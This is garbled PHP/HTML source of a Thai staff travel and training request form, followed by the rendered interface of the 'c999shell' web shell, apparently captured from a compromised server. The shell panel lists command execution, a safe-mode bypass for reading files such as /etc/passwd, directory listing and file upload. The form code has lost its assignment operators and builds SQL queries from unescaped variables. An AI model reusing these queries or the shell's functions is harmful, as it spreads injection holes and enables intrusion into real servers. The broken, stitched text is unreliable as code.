                        ปี พ.ศ. </font><font color="#0000FF" size="2" face="Tahoma">
                        <select name="mYear2" id="mYear2">
                          <?php
                $curr_year 
date("Y")+543
                
$prev_year $curr_year-2;
                
$next_year $curr_year+3;
                
                for( 
$i=$prev_year$i<=$next_year$i++ ) { 
                
?>
                          <option value="<?=$i;?><?php if( $i==$curr_year ) echo 'selected'; elseif( $i==$Budget_Year ) echo 'selected'?>>
                            <?=$i;?>
                            </option>
                          <?php
                
# for
            
?>
                        </select>
                        </font></td>
                  </tr>
                
                  <tr height="31">
                    <td height="31" colspan="6"></a>มีกำหนด</a>
                      <input name="Day" type="text" id="Day" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="2" maxlength="4" onkeypress="checkNumeric()" />
                    </a>วัน โดยขอเบิกค่าใช้จ่ายในการเดินทางไปราชการและในระหว่างการเดินทางไปราชการข้าพเจ้าขอมอบหมาย</td>
                  </tr>
                  <tr height="31">
                    <td height="31" colspan="6">ประวัติการพัฒนาตนเอง</a></td>
                  </tr>
                  <tr height="31">
                    <td height="31" colspan="6"><span class="style7">วัตถุประสงค์เพื่อ</span><font size="2" face="Tahoma">
                    <input type="radio" name="Training_type" value="1" />
                    </font><span class="style7"> การอบรม</span><font size="2" face="Tahoma">
                    <input type="radio" name="Training_type" value="2" />
                    </font><span class="style7"> การศึกษาดูงาน</span><font size="2" face="Tahoma">
                    <input type="radio" name="Training_type" value="3" />
                    </font><span class="style7">ประชุม</span><font size="2" face="Tahoma">
                    <input type="radio" name="Training_type" value="4" />
                    </font><span class="style7">สัมมนา</span> <font size="2" face="Tahoma">
                    <input type="radio" name="Training_type" value="6" />
                    </font><span class="style7">นิเทศงาน </span><font size="2" face="Tahoma">
                    <input type="radio" name="Training_type" value="7" />
                    </font><span class="style7">การเป็นวิทยากร</span></td>
                  </tr>
                  <tr height="31">
                    <td height="31" colspan="6">ประเภทการพัฒนา
                      <input name="Training_std" type="radio" value="Y" checked="checked" />
พัฒนาตามสายงาน
<input name="Training_std" type="radio" value="N" />
พัฒนาตนเอง</td>
                  </tr>
                  <tr height="31">
                    <td height="31" colspan="6">จำนวนชั่วโมง 
                      <input name="Total_hour" type="text" id="Total_hour" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="4" />
                    แหล่งเงินสนับสนุน <font color="#0000FF" size="2" face="Tahoma">
                    <input name="Fund_resource" type="text" id="Fund_resource" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rs2[collegeName];?>" size="50" />
                    </font></td>
                  </tr>
                  <tr height="31">
                    <td height="31" colspan="6">หน่วยงานที่จัด &nbsp;
<input name="Organiz" type="text" id="Organiz" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="50" /></td>
                  </tr>
                  <tr height="29">
                    <td height="29" colspan="6" align="left">สถานที่จัด<font color="#0000FF" size="2" face="Tahoma">&nbsp;
                      <input name="CNEU" type="text" id="CNEU" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="50" /></a><a>
จังหวัด </a>
                    <select name="provinceId" id="provinceId" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" >
                      <?php
                       
                                $strSQL3 
" SELECT * FROM   province   order   by   provinceName   ASC     ";
                                
$result3 mysql_query($strSQL3);
                                while( 
$rs3 mysql_fetch_array($result3) ) {
                            
?>
                      <option value="<?=$rs3['provinceId'];?><?php if( $rs3['provinceId']==$rs2['provinceId'] ) echo 'selected'?>>
                        <?=$rs3['provinceName'];?>
                        </option>
                      <?php
                                
# while
                            
?>
                    </select>
                    </font></font></td>
                  </tr>
                  <tr height="29">
                    <td height="29" colspan="3" align="left">&nbsp;</td>
                    <td></td>
                    <td></td>
                    <td></td>
                  </tr>
                  <tr height="29">
                    <td height="29" colspan="3" align="left">&nbsp;</td>
                    <td></td>
                    <td></td>
                    <td></td>
                  </tr>
                  <tr height="31">
                    <td height="31" colspan="2" align="left">&nbsp;</td>
                    <td>&nbsp;</td>
                    <td colspan="2">ลงชื่อ ............................................</td>
                    <td></td>
                  </tr>
                  <tr height="29">
                    <td width="125" height="29">&nbsp;</td>
                    <td width="57">&nbsp;</td>
                    <td>&nbsp;</td>
                    <td colspan="2" align="center">( <font color="#003366" size="2" face="Tahoma"><? echo $rss[First_name]?> <? echo $rss[Teacher_name]?>&nbsp;&nbsp;<? echo $rss[Teacher_lastname]?></font>)
                    <input name="Teacher_code" type="hidden" id="Teacher_code" value="<? echo $rss["Teacher_code"]?>" />
                    <input name="Flag" type="hidden" id="Flag" value="<? echo $rss["Teacher_code"]?>" /></td>
                    <td></td>
                  </tr>
                  
                  <tr height="29">
                    <td height="29" colspan="3" align="left">&nbsp;</td>
                    <td colspan="2"><font color="#0000FF" size="2" face="Tahoma">&nbsp; </font> ตำแหน่ง<font color="#0000FF" size="2" face="Tahoma">
                    <input name="Name4" type="text" id="Name5" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20"  value=" <? $PositionId =  $rss["PositionId"];
         
$sql "Select * From  position_tb   Where   PositionId ='$PositionId'  ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[Position_name] ";?>
         " />
                    </font></td>
                    <td></td>
                  </tr>
                  <tr height="29">
                    <td height="29" colspan="2" align="left"><label>
                      <input name="Flag1" type="checkbox" id="Flag1" value="1" disabled="disabled" />
                    อนุญาต 
                    <input name="Flag1" type="checkbox" id="Flag1" value="2"  disabled="disabled" />
                    ไม่อนุญาต</label></td>
                    <td align="left">&nbsp;</td>
                    <td colspan="3" align="left">&nbsp;</td>
                  </tr>
                  <tr height="29">
                    <td height="29" colspan="3" align="left">ลงชื่อ.............................................หัวหน้าภาค/ฝ่าย.</td>
                    <td colspan="3" align="left">&nbsp;</td>
                  </tr>
                  <tr height="29">
                    <td height="29" colspan="2" align="left"><div align="center">(<font size="2" face="Tahoma">
                      <?php
                     
                         $sql 
"Select * From    personal_tb   Where  Faculty_code ='$rss[Faculty_code]'  and   TeacherId='1'  ";
                          
$result1 mysql_query($sql) or die("Error".mysql_error());
                         
$rs2 mysql_fetch_array($result1);
                          echo 
"$rs2[First_name]$rs2[Teacher_name] &nbsp;&nbsp;$rs2[Teacher_lastname]";
                     
?>
                    </font>)
                    <input name="TeacherId" type="hidden" id="TeacherId" value="<? echo $rs2["Teacher_code"]?>" />
                    </div></td>
                    <td align="left">&nbsp;</td>
                    <td align="left"><div align="center">คำสั่ง</div></td>
                    <td align="left">&nbsp;</td>
                    <td align="left">&nbsp;</td>
                  </tr>
                  <tr height="29">
                    <td height="29" colspan="3" align="left">ตำแหน่ง<font color="#0000FF" size="2" face="Tahoma">
                    <input name="Name5" type="text" id="Name6" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="25"  value=" <? $PositionId =  $rs2["PositionId"];
         
$sql "Select * From  position_tb   Where   PositionId ='$PositionId'  ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[Position_name] ";?>
         " />
                    </font></td>
                    <td align="left">&nbsp;</td>
                    <td align="left">
                      <input name="Flag2" type="checkbox" id="Flag2" value="1" disabled="disabled" />
                    อนมัติ         
                    <input name="Flag2" type="checkbox" id="Flag2" value="2" disabled="disabled" />
                    ไม่อนุมัติ</td>
                    <td align="left">&nbsp;</td>
                  </tr>
                  <tr height="29">
                    <td height="29" colspan="2" align="left">&nbsp;</td>
                    <td align="left">&nbsp;</td>
                    <td colspan="2" align="left">ลงชื่อ................................……..</td>
                    <td align="left">&nbsp;</td>
                  </tr>
                  <tr height="29">
                    <td height="28" colspan="2" align="left">&nbsp;</td>
                    <td align="left">&nbsp;</td>
                    <td colspan="2" align="left">ตำแหน่ง. .....................................</td>
                    <td align="left">&nbsp;</td>
                  </tr>
                  <tr height="29">
                    <td height="29" colspan="2" align="left">&nbsp;</td>
                    <td align="left">&nbsp;</td>
                    <td colspan="2" align="left"> วันที่.......เดือน..............พ.ศ......…</td>
                    <td align="left">&nbsp;</td>
                  </tr>
              </table>
              <hr color="#D5DFE5" size="1px" />
                <table width="100%" border="0" cellspacing="0" cellpadding="0">
                  <tr>
                    <td height="5"></td>
                  </tr>
                </table>
                <span id="submitBtn"><input type="submit" name="Submit" value="บันทึก" class="WIDTH60 CURSOR-HAND" disabled />
&nbsp;
<input name="Reset" type="reset" class="WIDTH60 CURSOR-HAND" id="Reset" value="รีเซ็ต" />
&nbsp;&nbsp;
<input name="Button" type="button" id="Reset" value="ยกเลิก" class="CURSOR-HAND WIDTH60" onclick="location.href='ResearchByYear.php?Teacher_code<?=$Teacher_code;?>'" /></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr></form>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0147 ]--